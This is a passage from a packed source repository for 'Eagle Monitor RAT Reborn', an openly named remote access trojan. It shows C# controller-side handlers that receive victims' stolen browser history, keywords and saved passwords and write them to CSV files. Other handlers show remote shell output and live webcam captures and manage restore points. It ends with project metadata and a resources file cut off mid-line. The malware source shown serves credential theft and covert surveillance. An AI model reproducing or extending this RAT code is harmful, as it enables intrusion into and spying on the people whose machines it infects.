\".csv\");\n                                return;\n                            }));\n                        }\n                        else\n                        { Utils.ToCSV(historyPacket.historyList, clientHandler.clientPath + \"\\\\History\\\\\" + Utils.DateFormater() + \".csv\", new string[] { \"Application\", \"Title\", \"URL\", \"Date\", \"Visit count\" }); }\n                    }\n                    catch\n                    { Utils.ToCSV(historyPacket.historyList, clientHandler.clientPath + \"\\\\History\\\\\" + Utils.DateFormater() + \".csv\", new string[] { \"Application\", \"Title\", \"URL\", \"Date\", \"Visit count\" }); }\n                }\n                else\n                    return;\n            }).Start();*/\n\n            /*Task.Run(() => \n            {\n                if (historyPacket.historyList != null)\n                {\n                    try\n                    {\n                        if (clientHandler.clientForm.historyDataGridView != null)\n                        {\n                            clientHandler.clientForm.historyDataGridView.BeginInvoke((MethodInvoker)(() =>\n                            {\n                                clientHandler.clientForm.historyDataGridView.Rows.Clear();\n                                foreach (object[] str in historyPacket.historyList)\n                                {\n                                    int rowId = clientHandler.clientForm.historyDataGridView.Rows.Add();\n                                    DataGridViewRow row = clientHandler.clientForm.historyDataGridView.Rows[rowId];\n                                    row.Cells[\"Column5\"].Value = str[0].ToString();\n                                    row.Cells[\"Column6\"].Value = str[1].ToString();\n                                    row.Cells[\"Column7\"].Value = str[2].ToString();\n                                    row.Cells[\"Column8\"].Value = str[3].ToString();\n                                    row.Cells[\"Column9\"].Value = str[4].ToString();\n                                }\n                                if (Program.settings.autoSaveRecovery)\n                                    Utils.ToCSV(clientHandler.clientForm.historyDataGridView, clientHandler.clientPath + \"\\\\History\\\\\" + Utils.DateFormater() + \".csv\");\n                                return;\n                            }));\n                        }\n                        else\n                        { Utils.ToCSV(historyPacket.historyList, clientHandler.clientPath + \"\\\\History\\\\\" + Utils.DateFormater() + \".csv\", new string[] { \"Application\", \"Title\", \"URL\", \"Date\", \"Visit count\" }); }\n                    }\n                    catch\n                    { Utils.ToCSV(historyPacket.historyList, clientHandler.clientPath + \"\\\\History\\\\\" + Utils.DateFormater() + \".csv\", new string[] { \"Application\", \"Title\", \"URL\", \"Date\", \"Visit count\" }); }\n                }\n                else\n                    return;\n            });*/\n\n            if (historyPacket.historyList != null)\n            {\n                try\n                {\n                    if (ClientHandler.ClientHandlersList[historyPacket.BaseIp].ClientForm.historyDataGridView != null)\n                    {\n                        ClientHandler.ClientHandlersList[historyPacket.BaseIp].ClientForm.historyDataGridView.BeginInvoke((MethodInvoker)(() =>\n                        {\n                            ClientHandler.ClientHandlersList[historyPacket.BaseIp].ClientForm.historyDataGridView.Rows.Clear();\n                            foreach (object[] str in historyPacket.historyList)\n                            {\n                                int rowId = ClientHandler.ClientHandlersList[historyPacket.BaseIp].ClientForm.historyDataGridView.Rows.Add();\n                                DataGridViewRow row = ClientHandler.ClientHandlersList[historyPacket.BaseIp].ClientForm.historyDataGridView.Rows[rowId];\n                                row.Cells[\"Column5\"].Value = str[0].ToString();\n                                row.Cells[\"Column6\"].Value = str[1].ToString();\n                                row.Cells[\"Column7\"].Value = str[2].ToString();\n                                row.Cells[\"Column8\"].Value = str[3].ToString();\n                                row.Cells[\"Column9\"].Value = str[4].ToString();\n                            }\n                            if (Program.settings.autoSaveRecovery)\n                                Utils.ToCSV(ClientHandler.ClientHandlersList[historyPacket.BaseIp].ClientForm.historyDataGridView, ClientHandler.ClientHandlersList[historyPacket.BaseIp].ClientPath + \"\\\\History\\\\\" + Utils.DateFormater() + \".csv\");\n                            return;\n                        }));\n                    }\n                    else\n                    { Utils.ToCSV(historyPacket.historyList, ClientHandler.ClientHandlersList[historyPacket.BaseIp].ClientPath + \"\\\\History\\\\\" + Utils.DateFormater() + \".csv\", new string[] { \"Application\", \"Title\", \"URL\", \"Date\", \"Visit count\" }); }\n                }\n                catch\n                { Utils.ToCSV(historyPacket.historyList, ClientHandler.ClientHandlersList[historyPacket.BaseIp].ClientPath + \"\\\\History\\\\\" + Utils.DateFormater() + \".csv\", new string[] { \"Application\", \"Title\", \"URL\", \"Date\", \"Visit count\" }); }\n            }\n            else\n                return;\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Recovery/KeywordsPacketHandler.cs",
    "content": "﻿using Eagle_Monitor_RAT_Reborn.Network;\nusing Eagle_Monitor_RAT_Reborn.Misc;\nusing PacketLib.Packet;\nusing System.Windows.Forms;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.PacketHandler\n{\n    internal class KeywordsPacketHandler\n    {\n        public KeywordsPacketHandler(KeywordsPacket keywordsPacket) : base()//, ClientHandler clientHandler) \n        {\n            if (keywordsPacket.keywordsList != null)\n            {\n                try\n                {\n                    if (ClientHandler.ClientHandlersList[keywordsPacket.BaseIp].ClientForm.keywordsDataGridView != null)\n                    {\n                        ClientHandler.ClientHandlersList[keywordsPacket.BaseIp].ClientForm.keywordsDataGridView.BeginInvoke((MethodInvoker)(() =>\n                        {\n                            ClientHandler.ClientHandlersList[keywordsPacket.BaseIp].ClientForm.keywordsDataGridView.Rows.Clear();\n                            foreach (object[] str in keywordsPacket.keywordsList)\n                            {\n                                int rowId = ClientHandler.ClientHandlersList[keywordsPacket.BaseIp].ClientForm.keywordsDataGridView.Rows.Add();\n                                DataGridViewRow row = ClientHandler.ClientHandlersList[keywordsPacket.BaseIp].ClientForm.keywordsDataGridView.Rows[rowId];\n                                row.Cells[\"Column26\"].Value = str[0].ToString();\n                                row.Cells[\"Column27\"].Value = str[1].ToString();\n                            }\n                            if (Program.settings.autoSaveRecovery)\n                                Utils.ToCSV(ClientHandler.ClientHandlersList[keywordsPacket.BaseIp].ClientForm.keywordsDataGridView, ClientHandler.ClientHandlersList[keywordsPacket.BaseIp].ClientPath + \"\\\\Keywords\\\\\" + Utils.DateFormater() + \".csv\");\n                            return;\n                        }));\n                    }\n                    else\n                    { Utils.ToCSV(keywordsPacket.keywordsList, ClientHandler.ClientHandlersList[keywordsPacket.BaseIp].ClientPath + \"\\\\Keywords\\\\\" + Utils.DateFormater() + \".csv\", new string[] { \"Application\", \"Keyword\" }); }\n                }\n                catch { Utils.ToCSV(keywordsPacket.keywordsList, ClientHandler.ClientHandlersList[keywordsPacket.BaseIp].ClientPath + \"\\\\Keywords\\\\\" + Utils.DateFormater() + \".csv\", new string[] { \"Application\", \"Keyword\" }); }\n            }\n            else\n                return;\n            /*new Thread(() =>\n            {\n                if (keywordsPacket.keywordsList != null)\n                {\n                    try\n                    {\n                        if (clientHandler.clientForm.keywordsDataGridView != null)\n                        {\n                            clientHandler.clientForm.keywordsDataGridView.BeginInvoke((MethodInvoker)(() =>\n                            {\n                                clientHandler.clientForm.keywordsDataGridView.Rows.Clear();\n                                foreach (object[] str in keywordsPacket.keywordsList)\n                                {\n                                    int rowId = clientHandler.clientForm.keywordsDataGridView.Rows.Add();\n                                    DataGridViewRow row = clientHandler.clientForm.keywordsDataGridView.Rows[rowId];\n                                    row.Cells[\"Column26\"].Value = str[0].ToString();\n                                    row.Cells[\"Column27\"].Value = str[1].ToString();\n                                }\n                                if (Program.settings.autoSaveRecovery)\n                                    Utils.ToCSV(clientHandler.clientForm.keywordsDataGridView, clientHandler.clientPath + \"\\\\Keywords\\\\\" + Utils.DateFormater() + \".csv\");\n                                return;\n                            }));\n                        }\n                        else\n                        { Utils.ToCSV(keywordsPacket.keywordsList, clientHandler.clientPath + \"\\\\Keywords\\\\\" + Utils.DateFormater() + \".csv\", new string[] { \"Application\", \"Keyword\" }); }\n                    }\n                    catch { Utils.ToCSV(keywordsPacket.keywordsList, clientHandler.clientPath + \"\\\\Keywords\\\\\" + Utils.DateFormater() + \".csv\", new string[] { \"Application\", \"Keyword\" }); }\n                }\n                else\n                    return;\n            }).Start();*/\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Recovery/PasswordsPacketHandler.cs",
    "content": "﻿using Eagle_Monitor_RAT_Reborn.Network;\nusing PacketLib.Packet;\nusing System.Windows.Forms;\nusing Eagle_Monitor_RAT_Reborn.Misc;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.PacketHandler\n{\n    internal class PasswordsPacketHandler\n    {\n        public PasswordsPacketHandler(PasswordsPacket passwordsPacket) :base()//, ClientHandler clientHandler)\n        {\n            if (passwordsPacket.passwordsList != null)\n            {\n                try\n                {\n                    if (ClientHandler.ClientHandlersList[passwordsPacket.BaseIp].ClientForm.passwordsDataGridView != null)\n                    {\n                        ClientHandler.ClientHandlersList[passwordsPacket.BaseIp].ClientForm.passwordsDataGridView.BeginInvoke((MethodInvoker)(() =>\n                        {\n                            ClientHandler.ClientHandlersList[passwordsPacket.BaseIp].ClientForm.passwordsDataGridView.Rows.Clear();\n                            foreach (object[] str in passwordsPacket.passwordsList)\n                            {\n                                int rowId = ClientHandler.ClientHandlersList[passwordsPacket.BaseIp].ClientForm.passwordsDataGridView.Rows.Add();\n                                DataGridViewRow row = ClientHandler.ClientHandlersList[passwordsPacket.BaseIp].ClientForm.passwordsDataGridView.Rows[rowId];\n                                row.Cells[\"Column1\"].Value = str[0].ToString();\n                                row.Cells[\"Column2\"].Value = str[1].ToString();\n                                row.Cells[\"Column3\"].Value = str[2].ToString();\n                                row.Cells[\"Column4\"].Value = str[3].ToString();\n                            }\n                            if (Program.settings.autoSaveRecovery)\n                                Utils.ToCSV(ClientHandler.ClientHandlersList[passwordsPacket.BaseIp].ClientForm.passwordsDataGridView, ClientHandler.ClientHandlersList[passwordsPacket.BaseIp].ClientPath + \"\\\\Passwords\\\\\" + Utils.DateFormater() + \".csv\");\n                            return;\n                        }));\n                    }\n                    else\n                    { Utils.ToCSV(passwordsPacket.passwordsList, ClientHandler.ClientHandlersList[passwordsPacket.BaseIp].ClientPath + \"\\\\Passwords\\\\\" + Utils.DateFormater() + \".csv\", new string[] { \"URL\", \"Username\", \"Password\", \"Application\" }); }\n                }\n                catch { Utils.ToCSV(passwordsPacket.passwordsList, ClientHandler.ClientHandlersList[passwordsPacket.BaseIp].ClientPath + \"\\\\Passwords\\\\\" + Utils.DateFormater() + \".csv\", new string[] { \"URL\", \"Username\", \"Password\", \"Application\" }); }\n            }\n            else\n                return;\n\n            /*new Thread(() =>\n            {\n                if (passwordsPacket.passwordsList != null)\n                {\n                    try\n                    {\n                        if (clientHandler.clientForm.passwordsDataGridView != null)\n                        {\n                            clientHandler.clientForm.passwordsDataGridView.BeginInvoke((MethodInvoker)(() =>\n                            {\n                                clientHandler.clientForm.passwordsDataGridView.Rows.Clear();\n                                foreach (object[] str in passwordsPacket.passwordsList)\n                                {\n                                    int rowId = clientHandler.clientForm.passwordsDataGridView.Rows.Add();\n                                    DataGridViewRow row = clientHandler.clientForm.passwordsDataGridView.Rows[rowId];\n                                    row.Cells[\"Column1\"].Value = str[0].ToString();\n                                    row.Cells[\"Column2\"].Value = str[1].ToString();\n                                    row.Cells[\"Column3\"].Value = str[2].ToString();\n                                    row.Cells[\"Column4\"].Value = str[3].ToString();\n                                }\n                                if(Program.settings.autoSaveRecovery)\n                                    Utils.ToCSV(clientHandler.clientForm.passwordsDataGridView, clientHandler.clientPath + \"\\\\Passwords\\\\\" + Utils.DateFormater() + \".csv\");\n                                return;\n                            }));\n                        }\n                        else\n                        { Utils.ToCSV(passwordsPacket.passwordsList, clientHandler.clientPath + \"\\\\Passwords\\\\\" + Utils.DateFormater() + \".csv\", new string[] { \"URL\", \"Username\", \"Password\", \"Application\" }); }\n                    }\n                    catch { Utils.ToCSV(passwordsPacket.passwordsList, clientHandler.clientPath + \"\\\\Passwords\\\\\" + Utils.DateFormater() + \".csv\", new string[] { \"URL\", \"Username\", \"Password\", \"Application\" }); }\n                }\n                else\n                    return;\n            }).Start();*/\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Shell/RemoteShellStdOutPacketHandler.cs",
    "content": "﻿using Eagle_Monitor_RAT_Reborn.Network;\nusing PacketLib.Packet;\nusing System.Windows.Forms;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.PacketHandler\n{\n    internal class RemoteShellStdOutPacketHandler\n    {\n        public RemoteShellStdOutPacketHandler(StdOutShellSessionPacket stdOutShellSessionPacket) : base()\n        {\n            if (ClientHandler.ClientHandlersList[stdOutShellSessionPacket.BaseIp].ClientForm != null)\n            {\n                try\n                {\n                    ClientHandler.ClientHandlersList[stdOutShellSessionPacket.BaseIp].ClientForm.remoteShellStdOutRichTextBox.BeginInvoke((MethodInvoker)(() =>\n                    {\n                        ClientHandler.ClientHandlersList[stdOutShellSessionPacket.BaseIp].ClientForm.remoteShellStdOutRichTextBox.AppendText(stdOutShellSessionPacket.shellStdOut);\n\n                    }));\n                }\n                catch { }\n                return;\n            }\n\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Shell/RemoteStartShellPacketHandler.cs",
    "content": "﻿using Eagle_Monitor_RAT_Reborn.Network;\nusing PacketLib.Packet;\nusing System.Windows.Forms;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.PacketHandler\n{\n    internal class RemoteStartShellPacketHandler\n    {\n        public RemoteStartShellPacketHandler(StartShellSessionPacket startShellSessionPacket) : base()\n        {\n            if (ClientHandler.ClientHandlersList[startShellSessionPacket.BaseIp].ClientForm != null)\n            {\n                try\n                {\n                    ClientHandler.ClientHandlersList[startShellSessionPacket.BaseIp].ClientForm.remoteShellGuna2ToggleSwitch.Enabled = false;\n                    ClientHandler.ClientHandlersList[startShellSessionPacket.BaseIp].ClientForm.remoteShellGuna2TextBox.Enabled = true;\n                    ClientHandler.ClientHandlersList[startShellSessionPacket.BaseIp].ClientForm.remoteShellStdOutRichTextBox.BeginInvoke((MethodInvoker)(() =>\n                    {\n                        ClientHandler.ClientHandlersList[startShellSessionPacket.BaseIp].ClientForm.remoteShellStdOutRichTextBox.Text += \"\\n-------------New session started !-------------\\n\";\n\n                    }));\n                }\n                catch { }\n                return;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/UAC/DeleteRestorePointPacketHandler.cs",
    "content": "﻿using Eagle_Monitor_RAT_Reborn.Network;\nusing PacketLib.Packet;\nusing System.Windows.Forms;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.PacketHandler\n{\n    internal class DeleteRestorePointPacketHandler\n    {\n        public DeleteRestorePointPacketHandler(DeleteRestorePointPacket deleteRestorePointPacket) : base()//, ClientHandler clientHandler)\n        {\n            try\n            {\n                ClientHandler.ClientHandlersList[deleteRestorePointPacket.BaseIp].ClientForm.restorePointDataGridView.BeginInvoke((MethodInvoker)(() =>\n                {\n                    foreach (DataGridViewRow row in ClientHandler.ClientHandlersList[deleteRestorePointPacket.BaseIp].ClientForm.restorePointDataGridView.Rows)\n                    {\n                        if (int.Parse(row.Cells[0].Value.ToString()) == deleteRestorePointPacket.index)\n                        {\n                            ClientHandler.ClientHandlersList[deleteRestorePointPacket.BaseIp].ClientForm.restorePointDataGridView.Rows.Remove(row);\n                            break;\n                        }\n                    }\n                }));\n            }\n            catch { }\n            return;\n            /*try\n            {\n                ClientHandler.ClientHandlersList[deleteRestorePointPacket.baseIp].clientForm.restorePointDataGridView.BeginInvoke((MethodInvoker)(() =>\n                {\n                    foreach (DataGridViewRow row in ClientHandler.ClientHandlersList[deleteRestorePointPacket.baseIp].clientForm.restorePointDataGridView.Rows)\n                    {\n                        if (int.Parse(row.Cells[0].Value.ToString()) == deleteRestorePointPacket.index)\n                        {\n                            ClientHandler.ClientHandlersList[deleteRestorePointPacket.baseIp].clientForm.restorePointDataGridView.Rows.Remove(row);\n                            break;\n                        }\n                    }\n                }));\n            }\n            catch { }\n            return;*/\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/UAC/RestorePointPacketHandler.cs",
    "content": "﻿using Eagle_Monitor_RAT_Reborn.Network;\nusing PacketLib.Packet;\nusing System.Windows.Forms;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.PacketHandler\n{\n    internal class RestorePointPacketHandler\n    {\n        public RestorePointPacketHandler(RestorePointPacket restorePointPacket) : base()//, ClientHandler clientHandler)\n        {\n            if (restorePointPacket.restorePoints != null)\n            {\n                try\n                {\n                    ClientHandler.ClientHandlersList[restorePointPacket.BaseIp].ClientForm.restorePointDataGridView.BeginInvoke((MethodInvoker)(() =>\n                    {\n                        ClientHandler.ClientHandlersList[restorePointPacket.BaseIp].ClientForm.restorePointDataGridView.Rows.Clear();\n                        foreach (RestorePoint restorePoint in restorePointPacket.restorePoints)\n                        {\n                            int rowId = ClientHandler.ClientHandlersList[restorePointPacket.BaseIp].ClientForm.restorePointDataGridView.Rows.Add();\n                            DataGridViewRow row = ClientHandler.ClientHandlersList[restorePointPacket.BaseIp].ClientForm.restorePointDataGridView.Rows[rowId];\n                            row.Tag = restorePoint.index;\n                            row.Cells[\"Column42\"].Value = restorePoint.index.ToString();\n                            row.Cells[\"Column43\"].Value = restorePoint.description;\n                            row.Cells[\"Column44\"].Value = restorePoint.type.ToString();\n                            row.Cells[\"Column45\"].Value = restorePoint.creationTime;\n                        }\n                    }));\n                }\n                catch { }\n            }\n            else\n                return;\n            /*if (restorePointPacket.restorePoints != null)\n            {\n                try\n                {\n                    ClientHandler.ClientHandlersList[restorePointPacket.baseIp].clientForm.restorePointDataGridView.BeginInvoke((MethodInvoker)(() =>\n                    {\n                        ClientHandler.ClientHandlersList[restorePointPacket.baseIp].clientForm.restorePointDataGridView.Rows.Clear();\n                        foreach (RestorePoint restorePoint in restorePointPacket.restorePoints)\n                        {\n                            int rowId = ClientHandler.ClientHandlersList[restorePointPacket.baseIp].clientForm.restorePointDataGridView.Rows.Add();\n                            DataGridViewRow row = ClientHandler.ClientHandlersList[restorePointPacket.baseIp].clientForm.restorePointDataGridView.Rows[rowId];\n                            row.Tag = restorePoint.index;\n                            row.Cells[\"Column42\"].Value = restorePoint.index.ToString();\n                            row.Cells[\"Column43\"].Value = restorePoint.description;\n                            row.Cells[\"Column44\"].Value = restorePoint.type.ToString();\n                            row.Cells[\"Column45\"].Value = restorePoint.creationTime;\n                        }\n                    }));\n                }\n                catch {  }\n            }\n            else\n                return;*/\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Webcam/RemoteCameraCapturePacketHandler.cs",
    "content": "﻿using Eagle_Monitor_RAT_Reborn.Network;\nusing PacketLib;\nusing PacketLib.Packet;\nusing PacketLib.Utils;\nusing System.Windows.Forms;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.PacketHandler\n{\n    internal class RemoteCameraCapturePacketHandler\n    {\n        public RemoteCameraCapturePacketHandler(RemoteCameraCapturePacket remoteCameraCapturePacket) : base()//, ClientHandler clientHandler)\n        {\n            if (ClientHandler.ClientHandlersList[remoteCameraCapturePacket.BaseIp].ClientForm != null)\n            {\n                try\n                {\n                    ClientHandler.ClientHandlersList[remoteCameraCapturePacket.BaseIp].ClientForm.remoteWebCamPictureBox.BeginInvoke((MethodInvoker)(() =>\n                    {\n                        ClientHandler.ClientHandlersList[remoteCameraCapturePacket.BaseIp].ClientForm.RemoteWebCamHandler.HasAlreadyConnected = true;\n                        if (ImageProcessing.BytesToImage(Compressor.QuickLZ.Decompress(remoteCameraCapturePacket.cameraCapture)) != null)\n                            ClientHandler.ClientHandlersList[remoteCameraCapturePacket.BaseIp].ClientForm.remoteWebCamPictureBox.Image = ImageProcessing.BytesToImage(Compressor.QuickLZ.Decompress(remoteCameraCapturePacket.cameraCapture));\n                    }));\n                    return;\n                }\n                catch { }\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Webcam/RemoteCameraPacketHandler.cs",
    "content": "﻿using Eagle_Monitor_RAT_Reborn.Network;\nusing PacketLib.Packet;\nusing System.Windows.Forms;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.PacketHandler\n{\n    internal class RemoteCameraPacketHandler\n    {\n        public RemoteCameraPacketHandler(RemoteCameraPacket remoteCameraPacket) : base()//, ClientHandler clientHandler) : base() \n        {\n            if (ClientHandler.ClientHandlersList[remoteCameraPacket.BaseIp].ClientForm != null)\n            {\n                try\n                {\n                    ClientHandler.ClientHandlersList[remoteCameraPacket.BaseIp].ClientForm.camerasGuna2ComboBox.BeginInvoke((MethodInvoker)(() =>\n                    {\n                        foreach (string camera in remoteCameraPacket.cameras)\n                        {\n                            ClientHandler.ClientHandlersList[remoteCameraPacket.BaseIp].ClientForm.camerasGuna2ComboBox.Items.Add(camera);\n                        }\n\n                        if (remoteCameraPacket.cameras.Count > 0)\n                            ClientHandler.ClientHandlersList[remoteCameraPacket.BaseIp].ClientForm.camerasGuna2ComboBox.SelectedIndex = 0;\n                    }));\n                }\n                catch { }\n                return;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/Program.cs",
    "content": "﻿using Eagle_Monitor_RAT_Reborn.Misc;\nusing System;\nusing System.Windows.Forms;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn\n{\n    internal static class Program\n    {\n        [STAThread]\n        static void Main()\n        {\n            AppContext.SetSwitch(\"Switch.UseLegacyAccessibilityFeatures.3\", true);  //remove auto header selected with full row selected in datagridview\n            AppContext.SetSwitch(\"Switch.UseLegacyAccessibilityFeatures.2\", true);  //remove auto header selected with full row selected in datagridview\n            AppContext.SetSwitch(\"Switch.UseLegacyAccessibilityFeatures\", true);    //remove auto header selected with full row selected in datagridview\n\n            Application.EnableVisualStyles();\n            Application.SetCompatibleTextRenderingDefault(false);\n\n            mainForm = new MainForm();\n            Application.Run(mainForm);\n        }\n\n        internal static MainForm mainForm { get; set; }\n        internal static Settings settings { get; set; }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/Properties/AssemblyInfo.cs",
    "content": "﻿using System.Reflection;\nusing System.Runtime.CompilerServices;\nusing System.Runtime.InteropServices;\n\n// Les informations générales relatives à un assembly dépendent de\n// l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations\n// associées à un assembly.\n[assembly: AssemblyTitle(\"Eagle Monitor RAT Reborn\")]\n[assembly: AssemblyDescription(\"Remote access tool made with love\")]\n[assembly: AssemblyConfiguration(\"\")]\n[assembly: AssemblyCompany(\"The Remote Control Company\")]\n[assembly: AssemblyProduct(\"Eagle Monitor RAT Reborn\")]\n[assembly: AssemblyCopyright(\"Arsium ©  2022\")]\n[assembly: AssemblyTrademark(\"\")]\n[assembly: AssemblyCulture(\"\")]\n\n// L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly\n// aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de\n// COM, affectez la valeur true à l'attribut ComVisible sur ce type.\n[assembly: ComVisible(false)]\n\n// Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM\n[assembly: Guid(\"76117ffd-c18b-4366-8ce8-0572e7f4fb87\")]\n\n// Les informations de version pour un assembly se composent des quatre valeurs suivantes :\n//\n//      Version principale\n//      Version secondaire\n//      Numéro de build\n//      Révision\n//\n// Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut\n// en utilisant '*', comme indiqué ci-dessous :\n// [assembly: AssemblyVersion(\"1.0.*\")]\n[assembly: AssemblyVersion(\"3.2.4.0\")]\n[assembly: AssemblyFileVersion(\"3.2.4.0\")]\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/Properties/Resources.Designer.cs",
    "content": "﻿//------------------------------------------------------------------------------\r\n// <auto-generated>\r\n//     Ce code a été généré par un outil.\r\n//     Version du runtime :4.0.30319.42000\r\n//\r\n//     Les modifications apportées à ce fichier peuvent provoquer un comportement incorrect et seront perdues si\r\n//     le code est régénéré.\r\n// </auto-generated>\r\n//------------------------------------------------------------------------------\r\n\r\nnamespace Eagle_Monitor_RAT_Reborn.Properties {\r\n    using System;\r\n    \r\n    \r\n    /// <summary>\r\n    ///   Une classe de ressource fortement typée destinée, entre autres, à la consultation des chaînes localisées.\r\n    /// </summary>\r\n    // Cette classe a été générée automatiquement par la classe StronglyTypedResourceBuilder\r\n    // à l'aide d'un outil, tel que ResGen ou Visual Studio.\r\n    // Pour ajouter ou supprimer un membre, modifiez votre fichier .ResX, puis réexécutez ResGen\r\n    // avec l'option /str ou régénérez votre projet VS.\r\n    [global::System.CodeDom.Compiler.GeneratedCodeAttribute(\"System.Resources.Tools.StronglyTypedResourceBuilder\", \"17.0.0.0\")]\r\n    [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]\r\n    [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]\r\n    internal class Resources {\r\n        \r\n        private static global::System.Resources.ResourceManager resourceMan;\r\n        \r\n        private static global::System.Globalization.CultureInfo resourceCulture;\r\n        \r\n        [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute(\"Microsoft.Performance\", \"CA1811:AvoidUncalledPrivateCode\")]\r\n        internal Resources() {\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Retourne l'instance ResourceManager mise en cache utilisée par cette classe.\r\n        /// </summary>\r\n        [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]\r\n        internal static global::System.Resources.ResourceManager ResourceManager {\r\n            get {\r\n                if (object.ReferenceEquals(resourceMan, null)) {\r\n                    global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager(\"Eagle_Monitor_RAT_Reborn.Properties.Resources\", typeof(Resources).Assembly);\r\n                    resourceMan = temp;\r\n                }\r\n                return resourceMan;\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Remplace la propriété CurrentUICulture du thread actuel pour toutes\r\n        ///   les recherches de ressources à l'aide de cette classe de ressource fortement typée.\r\n        /// </summary>\r\n        [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]\r\n        internal static global::System.Globalization.CultureInfo Culture {\r\n            get {\r\n                return resourceCulture;\r\n            }\r\n            set {\r\n                resourceCulture = value;\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Bitmap.\r\n        /// </summary>\r\n        internal static System.Drawing.Bitmap add_32px {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"add_32px\", resourceCulture);\r\n                return ((System.Drawing.Bitmap)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Bitmap.\r\n        /// </summary>\r\n        internal static System.Drawing.Bitmap back_32px {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"back_32px\", resourceCulture);\r\n                return ((System.Drawing.Bitmap)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Bitmap.\r\n        /// </summary>\r\n        internal static System.Drawing.Bitmap Binary_Code_32px {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"Binary_Code_32px\", resourceCulture);\r\n                return ((System.Drawing.Bitmap)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Bitmap.\r\n        /// </summary>\r\n        internal static System.Drawing.Bitmap broken_link_32px {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"broken_link_32px\", resourceCulture);\r\n                return ((System.Drawing.Bitmap)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Bitmap.\r\n        /// </summary>\r\n        internal static System.Drawing.Bitmap direction_32px {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"direction_32px\", resourceCulture);\r\n                return ((System.Drawing.Bitmap)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Bitmap.\r\n        /// </summary>\r\n        internal static System.Drawing.Bitmap disconnected_32px {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"disconnected_32px\", resourceCulture);\r\n                return ((System.Drawing.Bitmap)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Bitmap.\r\n        /// </summary>\r\n        internal static System.Drawing.Bitmap documents_folder_32px {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"documents_folder_32px\", resourceCulture);\r\n                return ((System.Drawing.Bitmap)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Bitmap.\r\n        /// </summary>\r\n        internal static System.Drawing.Bitmap download_32px {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"download_32px\", resourceCulture);\r\n                return ((System.Drawing.Bitmap)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type 